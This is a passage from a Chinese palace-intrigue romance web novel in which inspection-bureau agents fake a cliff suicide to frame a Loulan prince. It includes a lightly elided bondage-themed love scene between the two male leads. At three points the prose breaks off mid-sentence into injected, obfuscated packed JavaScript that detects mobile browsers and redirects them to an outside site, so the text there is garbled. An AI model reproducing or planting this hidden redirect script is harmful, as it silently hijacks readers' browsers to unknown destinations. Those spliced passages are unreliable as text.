肖泽:“我倒是想提醒,可你一见着头儿,那张嘴就跟欠抽似的,拦都拦不住,哪还记得住这些。” 两人低声打趣了几句,很快又收敛神色,隐匿在暗处,继续一丝不苟地盯梢,不敢有丝毫懈怠。 大王子满心都是温家小姐的身影,接连两日早早出门,悄悄蹲守在温府附近,耐心打探着“温家小姐”的出行踪迹。 他彻底摸清了“温家小姐”的出行规律。 还无意间听见“她”与身边人言语间提及,近日要前往寺庙烧香祈福。 大王子心中狂喜,兴冲冲地跑去寻国师,眉飞色舞地说道:“国师,温家小姐约我一同去寺庙烧香,这可是亲近的好机会!” 国师右眼皮毫无征兆地接连跳了好几下,心底的不安再次翻涌而上,几乎是下意识地开口劝阻。 “殿下,万万不可!大虞素来讲究男女大防,这样实在不合礼数,恐生事端。” 大王子一心想着早日生米煮成熟饭,敲定这门婚事,哪里听得进劝阻,脸上满是不耐烦:“皇帝都已经亲口答应我与她的婚事,我便是她名正言顺的未婚夫,未婚夫妻之间,何须讲究那些男女大防!” 国师依旧眉头紧锁,心头的疑虑丝毫未散:“即便如此,我恳请跟随殿下一同前往,也好有个照应。” “国师,你是外男,一同前去成何体统,实在不合适!” 夜色渐深,待两人双双安歇后,白天铎趁着夜色掩护,悄无声息地离开驿馆赶往谢府,将日间大王子与国师的对话,一字不落地学给了燕修延。 燕修延忍不住拍着温瑞的肩膀,笑得前俯后仰:“哈哈哈!他已经以你的内人自居了。” 温瑞满脸嫌弃,嘴角垮得老高,一脸抗拒地说道:“头儿,下次再有这种盲目自信、模样又不堪入目的人,可千万别再让我去扮女子应付了,实在是糟心。” 燕修延笑意盈盈伸手轻轻勾了勾温瑞的下巴:“这可没准儿,谁让整个监察司里,就数你的女装扮相最是惟妙惟肖,旁人比不得。” 温瑞小声地嘀咕起来:“扮相最好的明明是你,你当初把那些人迷得五迷三道的,我可比不上。” 肖泽下意识地往燕修延身后瞥了一眼,随即二话不说,扛起还在愣神的白天铎,转身就飞快地溜走,生怕被殃及。 燕修延脸上的笑容瞬间僵住,脸色微沉,当即抬起脚就要踹向温瑞,咬牙道:“臭小子,说了不许再提那些陈年旧事——” “哪些事?” 温润低沉的嗓音猝不及防地从燕修延身后响起,带着几分慵懒,又藏着一丝不易察觉的笑意。 温瑞看了一眼,脸色骤变,当即拔腿就跑,边跑边喊:“头儿!你和谢书令好好慢慢说,我先撤了!” 燕修延转过身,脸上挤出一抹略显僵硬的讪笑,看着眼前身姿挺拔、眉眼温和的谢伟恒:“你怎么走路一点儿声响都没有,吓我一跳。” 谢伟恒缓步上前,从身后轻轻搂住燕修延的腰,下巴轻柔地蹭了蹭他的肩膀,唇角噙着浅笑,声音温柔得能滴出水来:“不是我走路无声,是哥哥对我全然不设防,才未曾察觉。” 燕修延拍了拍谢伟恒搂在自己腰间的手试图转移话题:“知道就好,快松手,时辰不早了我要准备睡觉了。” 他在心里默默祈祷,千万拜托,谢伟恒刚才没听见温瑞那番浑话。 显然,老天爷压根没听见他心底的哀求。 谢伟恒搂着他腰的手骤然收紧,温热的气息喷洒在他的颈侧,语气依旧温和,却带着几分步步紧逼:“好啊,那在歇息之前,哥哥不妨跟我说说你当初到底是何等扮相,又把哪些人迷得五迷三道的?” 燕修延心里把口无遮拦的温瑞骂了个狗血淋头。 就谢伟恒这个实打实的醋坛子,知道了铁定又要把他压在柜子底下的裙衫翻出来! “哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646318|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谢伟恒鼻尖轻轻蹭着他细腻的颈侧,语气忽然放软,带着几分委屈的鼻音,低落又伤感地问道:“难道有什么事情,是我不能知道的吗?” 燕修延被他这副模样弄得心头一软,一时竟无言以对。 不等他反应,谢伟恒俯身稳稳地将他打横抱起,一步步走向床榻:“没关系,我自有办法让哥哥亲口告诉我。” 看到谢伟恒拿来的精致发带时,燕修延败下阵来,果断举手投降。 “我说!你赶紧把那玩意儿拿走!其实也没什么大不了的,就是早年为了查案,跟温瑞他们一起男扮女装,去花楼里套取消息。” 彼时花龙混杂,去花楼的多是登徒子,他不忍心让监察司的女眷涉险,便拉着温瑞一起扮成腿脚不便的清倌儿。 反正都是大老爷们,便是被人无意触碰,也不会真的吃亏。 谢伟恒将他轻轻放在床榻上,双手顺势按住燕修延的手腕,将其固定在头顶,指尖微凉,轻轻划过他凸起的喉结,声音低沉沙哑,带着几分危险的意味:“那他们可有摸到你哪里?” 燕修延声音一颤,满不在乎地说道:“哪里都没摸到,我还能让那些人占了便宜?也就只有你,敢在我面前动手动脚。” 谢伟恒指尖轻轻勾起他的下巴:“如此说来,我当真该多谢主子恩典。” “嗯哼,知道就好,赶紧把我的手放开。” 燕修延看着他眼底深藏的笑意,心里莫名直呼不妙,用力挣了挣手腕,却被按得死死的,只得仰头往上看,陡然一惊,“不对,你哪儿来的绳子?!” 谢伟恒早有准备,拿起柔软的锦帕,细心地垫在绳子与他手腕的接触处,生怕粗糙的绳料磨伤他的肌肤:“这是绑床幔的绳子,我顺手拿下来的。” “狗屁的顺手!” 燕修延没好气地抬脚,轻轻踹了一下他的小腿,咬牙道:“你肯定早就盘算着要这么干了!” “燕大人果然最是了解我。” 谢伟恒眉眼弯弯,下床又将方才的发带拿了过来,眸光闪烁,笑意深邃:“那燕大人不妨猜猜,接下来我要做些什么?” 燕修延脸皮猛地一抽,又气又无奈,低声喝道:“谢伟恒!做个人吧!” 谢伟恒俯身凑近他耳畔,声音温柔又郑重,嘴角的笑意却愈发浓烈:“遵命。” 发带放在小小延上,谢伟恒的**在燕修延的**,从背后f着燕修延的tui向上 …… (过程读者们自己想一下吧,作者尽力了,求过求过求过!!!) 泡在浴桶内,燕修延绷着一张俊脸,满脸愠怒地将那根终究派上用场的发带丢在地上:“要不是这料子矜贵难得,我当场就把它烧个干净!” 谢伟恒无奈地摇摇头,弯腰缓缓拾起地上的发带,在温热的水中细细洗净,而后轻轻放在一旁的木架上晾干。 燕修延抬手拿水朝谢伟恒泼去,眉头紧锁:“你赶紧把它丢了,不许留着!” 谢伟恒随意抬手擦掉脸上的水珠,非但不恼,反而迈步走进浴桶中。 温热的水漫过两人的身躯,他伸手轻轻揽住燕修延的腰:“月光锦一年也只能产出二百匹,就这么丢了,实在太过可惜。” 发带质地细腻柔软,触手温润,沾湿之后,周身泛着淡淡的柔光,宛如倾泻的月光,故而得名。 燕修延伸手微微揪着他的耳朵,不依不饶地问道:“我不管,你到底丢不丢?” 谢伟恒依旧笑着,无奈妥协:“好,沐浴过后我便拿去丢了。可若是被旁人捡去,拿去用了……” 燕修延沉默片刻,最终只能悻悻地松开手,放弃道:“算了算了,不丢了。” 161. 佛门清净地 次日天刚蒙蒙亮,晨雾还漫在青山脚下,大王子早早候在了山道入口。 他心里揣着对那柔弱温婉的“温家小姐”的念想,一刻也不愿多等,攥着腰间玉佩,时不时朝着山道尽头张望,原本养尊处优的脸上,满是急切与按捺不住的期待。 这一等,便是足足半个时辰,晨雾渐渐散去,日头也爬上了树梢,才终于瞧见两道身影缓缓行来。 朱语秋一身素净布衣,步履轻快,身后跟着一顶朴素软轿,行至山脚下时,她脸上不见丝毫疲惫,反倒神情轻松。 上前一步,稳稳掀开轿帘,双臂一用力,便将坐在轿中的温瑞轻柔打横抱起,小心翼翼放到早已等候在山脚的普通抬轿上,动作利落又稳妥。 安置好温瑞,她又回身将空轮椅仔细收起,抬手招呼随行之人抬着,一行人打扮得再寻常不过,俨然是前来上香的普通官家女眷。 燕修延一身素色布衣,褪去了监察司正使的凌厉官威,扮成寻常香客,看着朱语秋利落的举动,忍不住侧头低声对身旁的谢伟恒感叹:“监察司里,单论力气,没几个男子能比得上语秋,平日里司里掰手腕比试,多少身强体壮的大老爷们,都被她掰得嗷嗷求饶,半点还手之力都没有。” 谢伟恒目光温柔落在燕修延身上,抬手轻轻扶在燕修延后腰处:“山路难行,你身子尚且不适,要不要雇一顶抬轿,省得受累?” 燕修延想起昨夜的缠绵缱绻,抬眼瞪了谢伟恒一眼,心里却也念着他还算懂得分寸,没有太过出格。 “不用,我没那么弱不禁风。” 谢伟恒眸底闪过一丝玩味,若有所思地缓缓开口:“如此说来,往后我倒是不用太过收着力道了。” 燕修延抬手就朝着他胸口怼了一记胳膊肘,压低声音咬牙呵斥:“我看你是欠收拾了!给你点阳光你就灿烂,少在这里胡说八道,赶紧上山!” 说罢,便率先迈步,跟在大王子身后往山道上走去,谢伟恒低笑一声快步跟上,顺势牵住了他的手腕。 走到半山腰,大王子已是气喘如牛,额头上布满细密的汗珠,脸颊涨得通红,脚步虚浮,每走一步都费劲至极。 燕修延与谢伟恒身姿轻快,步履稳健,不过片刻便轻松超过了气喘吁吁的大王子,走在了前面。 燕修延刻意“小声”,却又恰好能让身后的大王子听清:“看见后面那个胖子没?我敢打赌,他绝对爬不到山顶。” 谢伟恒配合地点头,语气平淡却带着几分戏谑:“巧了,我也想赌这个。” 燕修延撇撇嘴,声音又稍稍放大几分:“那便不赌了,毫无悬念,你看他那圆的模样,腿脚又虚,若是狠狠踹上一脚,怕是能直接顺着石阶,圆润地滚到山脚下,连拦都拦不住。” 这些刻薄又嘲讽的话语,一字不落地钻进大王子耳中,他本就喘得上气不接下气,胸口闷堵不已,此刻更是气得浑身发颤,呼吸愈发急促,脑子里嗡嗡作响。 怒火直冲头顶,看向两人的眼神里满是怨毒却又因体力不支,连开口呵斥的力气都没有。 瞥见半山腰处歇脚的抬轿人。 大王子从怀里掏出几枚碎银,丢在地上,银钱滚落石板发出清脆声响:“来人,抬我上山!” 几名轿夫对视一眼,没有弯腰捡钱,反倒上前一步,上下仔细打量了一番大王子臃肿的身形,纷纷摇了摇头:“抱歉这位客官,就您这体格我们哥几个实在抬不动,怕是走到半路,就得连人带轿摔下去。” 旁边一名轿夫忍不住小声嘀咕:“就这么点碎银子,打发要饭的呢,还想雇人抬上山,想的也太美了。” 大王子怒火更盛,只觉得颜面尽失,当即一把扯下腰间鼓鼓的荷包,狠狠摔在地上:“这些钱,总够了吧?赶紧抬我上山!” 轿夫弯腰捡起荷包,打开一看,几人凑在一起“小声”讨论。 “这人也太胖了,抬着费劲得很。” “这些钱倒也勉强够抵辛苦费。” “啧,说实话,真不太想抬,累得慌。” “算了算了,就当今日日行一善,他卡在半山腰,上不去下不来,也着实狼狈。” “行吧,那就接了这活。” 大王子站在一旁,将这些嘲讽的话语听得一清二楚,一张脸涨成了猪肝色,拳头攥得死死的,指节泛白。 恨不得立刻上前给这些胆大妄为的轿夫一人一脚。 可转念一想,自己此刻确实卡在半山腰,双腿酸软,再往上走一步都难,若是不坐轿,怕是真的要困在此地,终究只能强压着满腔怒火,一言不发地坐上抬轿。 “起轿!客官坐稳了啊!” 六个轿夫一同发力,将抬轿稳稳抬起,可起身的瞬间,却故意顺势轻轻一颠。 抬轿猛地晃动,大王子毫无防备,身子一歪,瞬间吓得脸色发白,双手死死抓住轿杆,只觉得自己随时要被颠下去:“放肆!给我抬稳当点,若是摔了本……摔了我,你们担待不起!” 轿夫们充耳不闻,抬着轿子稳步往上走,嘴里还故意调侃道:“这位客官,山路崎岖,抬轿本就颠簸,你若是胆子小,受不住这份颠簸,我们现在就把你放下来,这钱我们分文不收。” 大王子心里惦记着山上的“温家小姐”,一心只想尽快上山,哪里肯半途而下,当即不耐烦地摆手:“少废话,我没说要下来,赶紧加快脚步上山!” “好嘞!客官坐稳了!” 轿夫们齐声应道,脚下步伐果真加快了几分,山间石阶本就不平,加快速度后,抬轿颠簸得愈发厉害, 大王子坐在轿中,被颠得七荤八素,头晕目眩,胃里更是翻江倒海,强忍着才没当场吐出来,满心都是憋屈与怒火。 好不容易熬到山顶寺庙,抬轿刚一落地,大王子迫不及待地掀开轿帘,踉跄着冲出来,径直扑到寺外的青石栏杆旁,弯着腰不停干呕,脸色苍白如纸,半天都缓不过劲来。 轿夫上前,语气寻常地问道:“这位客官,一会下山,还坐不坐我们的抬轿?” 大王子想也不想,直接一口回绝,声音沙哑:“不坐!” 等会儿寻到“温家小姐”,能与美人共乘一轿下山,那般温柔软玉在怀,就算轿子颠簸,他也甘之如饴。 大王子眼底闪过一丝淫邪的笑意,方才的狼狈与不适,瞬间被抛到了九霄云外。 打听一个腿脚不便的柔弱女子,本就是极易的事。 大王子稍一询问,便得知那“温家小姐”带着丫鬟,去了寺庙后山僻静处散心。 他当即整理了一番衣衫,压下心中急切,一路顺着旁人指引,往后山走去。 后山林木葱郁,草木清幽,格外僻静,一路走来,几乎不见香客身影,只有风吹树叶的沙沙声。 转过一片竹林,大王子终于瞧见了心心念念的身影。 温瑞坐在轮椅上,身处一棵参天古木之下,正拿着随身带来的精致糕点,轻声细语地喂着围在脚边的几只流浪野猫,身姿柔弱,眉眼温婉,尽显大家闺秀的温婉气质。 “温小姐。” 大王子整理神色,快步走上前,故作温文尔雅地拱了拱手:“咱们真是有缘,没想到竟能在此处遇见。” 温瑞原本柔和的眉头瞬间不悦地拧起,看着大王子肥胖油腻的模样,又闻到他身上因剧烈颠簸、出汗散发出的浊气,当即嫌弃地掏出锦帕,紧紧捂住口鼻,侧身避开,眼神里满是疏离与厌恶,不愿与其多说一字。 朱语秋上前一步,挡在温瑞身前,一手叉腰,一手指着大王子的鼻子,柳眉倒竖,开口便是厉声怒骂:“有缘个屁!我看你是一路偷偷跟踪我们家小姐,不知廉耻!也不撒泡尿照照自己什么模样,肥头大耳,粗俗不堪,说你像猪,那都是对猪的侮辱!” 燕修延冲着谢伟恒得意地挑了下眉头:怎么样?我监察司女子的战力,可不是徒有虚名吧? “确实不错,不过……” 谢伟恒俯身凑到燕修延耳边,温热的气息拂过他的耳畔:“放眼整个大虞,战力最强的,还是能与我‘战’上一夜的燕正使。” “……佛门清净地,休得胡言乱语!你可闭嘴吧!” 燕修延又羞又恼,连忙伸手捏住谢伟恒的嘴巴。 若是平日里,大王子被人这般当众辱骂,定然会勃然大怒,却也不至于失去理智。 今日不同,他先是爬山路累得精疲力尽,又被轿夫轮番嘲讽,被颠得呕吐不止,满心怒火本就积压到了极致。 再被人指着鼻子骂得狗血淋头,彻底被怒火冲昏了头脑,理智瞬间崩塌。 来的时候,他便已留意到,这后山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说罢,他收起匕首,再次朝着温瑞走去。 就在他转身的瞬间,朱语秋眼中闪过一丝决绝,趁着大王子毫无防备,用尽全身力气,猛地朝着他肥胖的身子推去! 大王子本就重心不稳,猝不及防之下,直接被推得连连后退,脚下一绊,重重摔倒在地上。 因身形臃肿,狼狈地滚了两圈,才堪堪停下,模样狼狈至极。 腰间的匕首也脱手掉落在地上,发出清脆声响。 “小姐!快跑!” 朱语秋立刻转身,飞快转动轮椅,慌不择路地朝着山林深处跑去,脸上满是“惊恐”,仿佛真的是走投无路,只顾着逃命。 大王子从地上爬起来,顾不得身上的尘土与疼痛,满眼都是被戏弄的怒火,捡起地上的匕首,疯了一般朝着朱语秋和温瑞逃离的方向追去,一心想要将两人抓回来。 一路追逃,朱语秋推着轮椅,慌慌张张间,竟跑到了一处悬崖绝壁旁,前方已是无路可走。 大王子追至崖边,看着退无可退的两人,停下脚步得意地啐了一口唾沫,擦了擦脸上的汗水,眼神淫邪又嚣张:“跑啊!你们怎么不继续跑了?我看你们还能往哪里跑!如今无路可走,还不是要乖乖从了我!” 温瑞坐在轮椅上,看着眼前的万丈悬崖,又看向步步紧逼的大王子,眼中闪过一丝视死如归的决绝。 她将手中紧紧攥着的锦帕丢在地上,挺直了单薄的脊背,声音清冷又坚定:“我乃名门闺秀,清白重于性命,就算是死也绝对不会受你屈辱,失了自身清白!” “小姐!” 朱语秋眼眶泛红,紧紧握住温瑞的手,咬着下唇:“小姐若赴死,奴婢绝不苟活,定当随小姐一同跳下去,护小姐周全!” 两人对视一眼,皆是满眼决绝。 不等大王子反应过来,下一秒,他眼睁睁看着朱语秋咬紧牙关,推动轮椅,带着温瑞,义无反顾地朝着悬崖之下纵身跳了下去! 大虞的女子,都这般刚烈决绝吗?! 他下意识地往前迈了一步,想要上前查看崖下情况,看看两人是生是死。 此时,四周树丛突然响动,一群身着素衣,一拥而上,直接将还在惊愕之中的大王子死死按倒在地,牢牢捆住,让他动弹不得。 有人高声呼喊,语气急切:“快!我看见有人跳崖了!派人沿着山间小路,下到崖底查看,务必找到两位姑娘!” 162. 我还仗着谢书令的势 一群手持棍棒、面色愤懑的香客,七手八脚地将臃肿的大王子死死扭住,粗糙的麻绳狠狠勒进他的皮肉,将他捆得如同粽子一般,半点动弹不得。 “我就说听见有姑娘凄厉的救命声,你偏要犟嘴说我听错了!若是咱们再快上一步,那可怜的姑娘何至于被逼到绝望跳崖啊!” “谁能料到,光天化日之下竟有人敢在佛门清净之地,做出这等伤天害理的腌臜事!简直是玷污了这方净土!” “别跟废话了先把这歹人捆严实了,押下山去见官,定要让他为自己的恶行付出代价!” 大王子又惊又怒,他涨红了脸,扯着嗓子厉声嘶吼:“放肆!你们这群卑贱的刁民,竟敢如此对我!我乃楼兰大王子,是你们大虞王朝亲自宴请的贵客!赶紧把我松开,否则定让你们人头落地!” “狗屁的贵客!” 人群中有人嗤笑出声:“楼兰不过是弹丸之地,比咱们大虞的一个州府都大不了多少,也好意思腆着脸自称贵客?我看是脸皮比城墙还厚!” “就是!这般作奸犯科之辈,更是半点贵客的体面都没有!更要速速送他去见官!倘若朝廷敢偏袒这等外来恶徒,咱们就直接冲进驿馆,宰了这头蠢猪!” 雨点般的拳头便狠狠落在身上,拳脚力道极重,打得大王子龇牙咧嘴,浑身剧痛。 下山的路没有大王子想的那般舒服,山民们嫌他走得缓慢,直接将他手脚牢牢捆住,像拖牲口一般,沿着陡峭的山路往山下拖拽,碎石硌破他的衣袍,划伤他的肌肤,狼狈至极。 燕修延抬手从身侧扔出一根粗壮的麻绳,麻绳径直垂向崖底。 不过片刻功夫,朱语秋与温瑞便一前一后,抓着绳索利落攀爬而上。 温瑞肩上还稳稳扛着一架轮椅,动作丝毫不受影响。 原来谢所谓的“悬崖峭壁”底下恰好有一块向外延伸的隐蔽平台。 朱语秋与温瑞便是假意纵身跃下,实则稳稳落在平台上,静待众人将大王子拖走,再悄然返回。 “我刚才差点没忍住直接冲上去把那圆不隆冬的狗屁大王子丢进真山崖底下!这等混账东西,简直死不足惜!” 朱语秋攥紧了双拳,指关节被捏得“咔吧咔吧”作响,眼底满是戾气:“晚上能扮鬼去偷偷揍他一顿吗?不用打死,就狠狠出一口恶气就行!” 燕修延从袖中掏出两颗饱满的核桃,随手丢给朱语秋,温声安抚:“别气别气,消消气。你那手劲咱们都清楚,万一没拿捏好分寸,直接把人揍死了,反倒麻烦。耐心等着,等楼兰彻底覆灭那日,你要是还不解气,想怎么揍就怎么揍,没人拦着你。” 朱语秋接过核桃,掌心微微用力,坚硬的核桃壳瞬间应声碎裂,她摊开手掌。 燕修延与温瑞凑上前来,伸手捡着核桃仁往嘴里送,嚼得津津有味。 “这核桃品相不错,又香又脆,啧!温瑞你别跟我抢!” 温瑞不甘示弱,一边快速捡拾,一边反驳:“抢着吃才更香,谁抢到就是谁的!” 朱语秋转头看向谢伟恒,郑重地点了点头:“谢大人,跟我们头儿成亲以后,真是委屈你了。” 燕修延不乐意了,抬脚轻轻踹开还在抢核桃仁的温瑞,一脸不赞同:“怎么就委屈他了?我哪儿亏待他了?” “并非委屈。” 谢伟恒转头目光温柔地落在燕修延身上,眸中盛满暖意:“能与燕大人成婚,相守相伴乃是我毕生之幸。” 燕修延眉眼上扬,嘴角勾起得意的笑容,冲着朱语秋得意挑眉:“怎么样?听见没有!” 朱语秋看着他这副模样,满脸真诚地开口:“头儿,你现在这样子完完全全就是小人得志。” 燕修延非但不恼,反而笑得更欢:“回去我就跟你娘告状,说你顶撞上司还出言诋毁我。” 朱语秋脸上的神色一僵,顿时没了方才的锐气:“不是吧头儿,你这一言不合就找家长告状的毛病,能不能改改?” 燕修延笑得一脸真诚:“不能改,毕竟我就是小人得志啊。” 他还亲昵地拍了拍谢伟恒的肩膀:“更何况,我还仗着谢书令的势,在这儿横行霸道,哎~你气不气?” 朱语秋怕他真的跑去跟自己娘亲告状,只能丢下一句“幼稚至极”,一把抢过温瑞手里的轮椅。 “别在这儿耽搁了,该下山办事了。” 几人顺着崖边隐蔽的小路,快步往山脚下走去。山脚处早已有人备好两辆平板板车等候在此。 温瑞与朱语秋二话不说,分别躺上板车,乖乖不动。 燕修延拿出准备好的颜料,指尖利落动作,给两人画上惨白憔悴、伤痕累累的凄惨妆容,再将他们的外衣狠狠扯出几道破口,显得狼狈不堪,随后又拿出提前备好的鸡血,均匀洒在两人衣摆、脖颈处,看着触目惊心,最后拿两块白布轻轻盖在两人身上。 拍了拍手,眼底闪过一丝狡黠:“走,咱们这就去诬陷楼兰大王子,给他坐实罪名。” 温瑞忽然伸手掀开身上的白布,一脸疑惑地看向燕修延:“头儿,我躺在这儿那温大人的角色谁来演啊?总不能露馅吧。” 燕修延神秘一笑:“别急,到时候你自然就知道了。” “我的女儿啊——你怎么就这么命苦啊!” 白布下的温瑞眼皮猛地一颤,嘴角忍不住抽搐,是温泽那厮! 易容成“温大人”的温泽,直接扑到温瑞躺着的板车旁,整个人重重扑在白布上,力道之大差点把温瑞压得“诈尸”。 温泽攥着拳头捶打着自己的胸口,嚎哭声震耳欲聋,比乡间杀猪的叫声还要凄厉,脸上糊满了泪水与鼻涕,模样悲痛万分,任谁看了都要心生怜悯。 温瑞躺在板车下,被吵得耳膜生疼,心里默默吐槽,恨不得掀开白布,找两团棉花塞进耳朵里。 一旁的朱语秋也是眉头紧锁,强忍着翻白眼的冲动,真想脱下鞋子直接塞进温泽嘴里,让他消停片刻。 国师匆匆赶到府衙时,映入眼帘的便是这般剑拔弩张的场景。 虞睿祥端坐在大堂上首,眉头紧紧拧起,面色沉沉,周身散发着不怒自威的压迫感,目光冷冽地扫视着堂下。 大王子被五花大绑,死死按在地上,衣衫破烂,脸上满是淤青,狼狈不堪。 旁边一个男人正扑在板车旁,哭得几欲断气,浑身颤抖。 门外围满了闻讯赶来的百姓,个个义愤填膺,怒骂声此起彼伏,群情激愤。 不用多问,国师也能猜出七八分内情,他的眼皮控制不住地突突狂跳,心里懊悔不已。 早上出门时,他心中就莫名涌起一阵不安,再三叮嘱大王子不要肆意妄为,若是当时再强硬一些,死死拦住他,也绝不会闹出这般弥天大祸! “皇帝陛下,这、这究竟是怎么回事?其中是不是有什么误会啊?” “误会?” 温泽抬起头顶着满脸鼻涕眼泪,疯了一般冲到国师面前,伸手指着他的鼻子:“误会!我现在就把这狗杂种杀了,事后再跟你说这是误会,你觉得行不行?!” 人群之中,扮成普通百姓模样的燕修延,适时地攥紧拳头,高声附和,语气满是愤怒:“说得对!这等歹人,在我大虞地盘做出此等伤天害理之事,简直罪该万死!杀了这狗杂种!” “杀了他!以儆效尤!” “竟敢欺负我大虞女子,直接灭了楼兰小国!” “灭了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长时间被堵着嘴巴,大王子早已憋得难受,先是弯腰剧烈干呕了几下,缓过劲后,他抬头看着上首的虞睿祥:“皇帝陛下,是你身边的人告诉我的!说只要生米煮成熟饭,你就会替我和温家小姐赐婚,是真的!我没有撒谎!” 国师闻言,眼前一黑,差点直接晕过去。 这话就算是确有其事,就算真的是大虞有人暗中挑唆,也万万不能在这大庭广众之下说出来啊! 如此一来,皇帝为了自证清白,为了避开挑拨嫌疑,定会不顾两国邦交,从严处置大王子,楼兰彻底没了回旋余地! 虞睿祥的脸色沉得如同寒冰,语气森然冰冷,不带一丝温度:“哦?竟有此事?那人是谁,长什么模样,你一一说来。” 苏公公接话,声音尖利带着十足的威严:“妄加揣测圣意,挑拨离间者,论罪当诛,绝不姑息!” 大王子愕然,满脸不可置信——皇帝轻飘飘一句话,就把自己摘得干干净净,所有的罪责都落到了自己头上? “皇帝陛下,恕罪啊!” 国师“噗通”一声跪倒在地,声泪俱下,拼命磕头辩解:“我家大王子心性单纯被骄纵惯了,定是被奸人教唆了啊! 此人必定是别国派来的奸细,故意想要破坏大虞与楼兰的友好关系!大王子他只是心中太过爱慕温家小姐,一时糊涂才犯下大错,楼兰愿意倾尽所有,补偿温家的损失,求陛下开恩啊!” 温泽红着眼睛冲着他厉声嘶吼,悲痛与愤怒交织:“补偿?我喜欢你家大王子,我现在就杀了他,事后再拿金银珠宝补偿你们楼兰,你说行不行?!” 燕修延看着这混乱又精彩的一幕,悄悄退到谢伟恒身后,将额头轻轻抵在他的后背,肩膀微微颤抖,闷声偷笑,眼底满是计谋得逞的玩味与惬意。 163. 谢大人真黏燕大人 国师敛去慌乱,强行压下心底的焦躁,脸上堆砌出一副沉痛悲悯的神色,对着哭得双目赤红、状若疯魔的温泽深深一揖:“温大人,我深知你痛失爱女、肝肠寸断的心境。只是此事牵扯两国邦交,非同小可,楼兰绝不会推诿罪责,定然会给大人、给大虞朝廷一个公允交代。” 他突然想到了什么,眸光微沉视线倏然牢牢锁在温泽身前那方盖着人的白布之上。 心底残存的疑虑骤然翻涌而起。 山民众口一词,说温家小姐与侍女双双跳崖殒命,可从头到尾,无人见过尸首真容。越是遮掩越是蹊跷。 国师脚步轻抬,走到白布跟前指尖微微抬起,欲要撩开布角一探究竟,查探虚实。 “住手!” 一声怒喝骤然炸响。 温泽双目猩红,浑身戾气翻涌,不等国师指尖碰到布料,扬手便是一记响亮的巴掌狠狠扇了下去。 “啪!” 清脆的撞击声在寂静的大堂格外刺耳。 国师的手背瞬间被打得通红浮肿,火辣辣的刺痛顺着肌理蔓延开来,指尖都微微发麻。 温泽胸口剧烈起伏,死死瞪着他,眼神凶狠又悲恸,字字泣血:“你这肮脏的外人,脏手也敢碰我女儿的遗体!安的什么狼心狗肺!” 越是被人极力阻拦、不许窥探,心底的疑虑便越是根深蒂固。 国师揉着发肿的手背,眼底疑云更盛:这温泽反应过激至此,布下必定有诈! “温大人稍安勿躁。我楼兰世代流传一门秘药,最是神异,人刚离世、躯体尚有余温之时,将秘药融水灌入喉中,尚有一线起死回生的机缘。我愿一试,或许能救回令爱!” 方才还疯癫暴怒的男人,瞬间僵在原地,眼底的戾气尽数褪去,只剩下极致的希冀与慌乱。 温泽几乎是踉跄着俯身,颤抖着手一把掀开盖在温瑞身上的白布。 “快!快帮我看看!我女儿……我女儿还有没有救!” 白布骤然滑落,一张布满狰狞伤疤、苍白死寂的脸庞赫然映入眼帘。 那一道横贯眉眼面颊的狰狞伤口,皮肉外翻,血色暗沉,看得人触目惊心、头皮发麻。 国师猝不及防对上这张脸,心脏猛地一缩,下意识偏头移开视线。 他强定心神,伸出食指轻轻抵上温瑞的颈侧大动脉。 指尖触碰到肌肤的刹那,一片刺骨冰凉席卷而来,没有半分活人温热,颈间脉络死寂,无半分搏动气息。 国师心底了然,确实是全无生机的模样。 温瑞心说,老子提前吃了药,你要是能摸出半点脉象,算柳岚输! 国师把白布盖上,对着满眼期盼、死死盯着他的温泽,轻轻摇了摇头,面色凝重。 “没救了。” 短短三个字,彻底击碎了温泽最后的希望。 温泽像是被抽走了所有力气,又像是彻底被悲痛逼疯,眼底希冀尽数化为滔天怒火。 他猛地站起身,如同被激怒的孤狮,浑身戾气暴涨,二话不说对着国师拳脚相加。 拳头狠狠砸在肩头,膝盖狠狠顶在腿侧,力道十足:“你方才说有救!现在又说没救!你戏耍我!拿我女儿的性命开玩笑!” 国师猝不及防,只能狼狈抬手格挡,生生挨了数下拳脚,衣衫凌乱,狼狈不堪。 直到国师挨得面色发白、气息紊乱,虞睿祥才淡淡抬手,示意一旁待命的苏公公上前阻拦。 他示意国师看向衙门外密密麻麻、满脸悲愤的百姓。 “有人听见呼救声,循声赶去,亲眼所见贵国大王子步步紧逼、胁迫温家小姐主仆。二人宁死不屈,为保清白决然跳崖,证据确凿。” 顿了顿,龙眸凛冽,字字铿锵,带着不容置喙的帝王威严:“依我大虞律法,逼死人命、酿成人亡者,当以命抵命。” “我没有!” 大王子慌了,拼命挣扎嘶吼,语气惶恐又不服:“我没有杀人!是她们自己胆小懦弱,主动跳崖自尽的!与我无关!不是我杀的人!” 国师恨不得立刻扑上去死死捂住他的嘴! 这蠢货! 在楼兰境内,横行霸道、草菅人命,无人敢置喙,可这里是大虞的地界!不管怎么说,都得收着点啊! 可惜国师把眼睛挤到快抽筋了,大王子都没看见。 大王子只顾着惧怕大虞皇帝真的降罪、取他性命,拼命辩驳脱罪。 “若不是你步步相逼、恶意胁迫,我女儿好好的大家闺秀,怎会自寻短见!” 温泽怒声暴喝,大步冲上前抬脚狠狠踹向大王子。 